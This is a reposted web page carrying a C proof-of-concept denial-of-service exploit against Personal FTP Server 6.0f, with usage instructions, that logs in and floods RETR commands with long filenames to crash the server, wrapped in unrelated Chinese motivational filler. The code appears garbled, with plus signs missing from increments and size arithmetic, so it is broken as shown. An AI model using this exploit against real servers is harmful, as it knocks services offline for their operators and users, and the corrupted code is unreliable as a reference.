The Personal FTP Server 6.0f RETR Denial of Service Exploit

当你感觉整个世界似乎都在和你作对的时候,要记得飞机也是逆风起飞,而不是顺风飞起。
/*
*** The Personal FTP Server 6.0f RETR DOS exploit *** A vulnerability exists in the way Personal FTP Server handles
multiple RETR commands with overly long filenames.When confronted
with such consecutive requests the server will crash. Usage : ./pftpdos ip port user password
Ex. : ./pftpdos 127.0.0.1 21 test test Personal FTP Server homepage: http://www.michael-roth-software.de/ Discovey POC by Shinnok raydenxy [at] yahoo <dot> com
http://shinnok.evonet.ro */ #include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <string.h>
#include <malloc.h>
#include <errno.h> int
min (int x, int y)
{
if (x < y)return x;
else
return y;
}
extern int errno; int
main (int argc, char *argv[])
{
struct sockaddr_in server;
int i, t, s;
char *req, *buff;
s = socket (AF_INET, SOCK_STREAM, 0);
bzero (&server, sizeof (server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr (argv[1]);
server.sin_port = htons (atoi (argv[2]));
connect (s, (struct sockaddr *) &server, sizeof (struct sockaddr));
req = malloc (sizeof (char) * \
(((strlen (argv[3]) - strlen (argv[4])) \
min (strlen (argv[3]), strlen (argv[4])) 8)));
sprintf (req, "USER %s\xD\xA", argv[3]);
write (s, req, strlen (req));
sprintf (req, "PASS %s\xD\xA", argv[4]);
write (s, req, strlen (req));
free (req);
for (i = 1; i <= 5; i )
{
t = (sizeof (char) * 1000 * i);
buff = malloc (t 1);
memset (buff, 'A', t);
buff[t 1] = '\0';
req = malloc (t 9);
sprintf (req, "RETR %s\xD\xA", buff);
if (write (s, req, strlen (req)) == -1)
{
perror (NULL);
printf ("Target pwned!\n", errno);
}
free (req);
free (buff);
sleep (1);
}
close (s);
return (EXIT_SUCCESS);
}

到此这篇关于The Personal FTP Server 6.0f RETR Denial of Service Exploit 就介绍到这了。内心足够强大的人,足以填平他在身高体格相貌学历背景上的诸多劣势,甚至能让每点劣势都绽放出光芒。所以,不要埋怨现实不公,而要问自己心志是否强韧。更多相关The Personal FTP Server 6.0f RETR Denial of Service Exploit 内容请查看相关栏目,小编编辑不易,再次感谢大家的支持!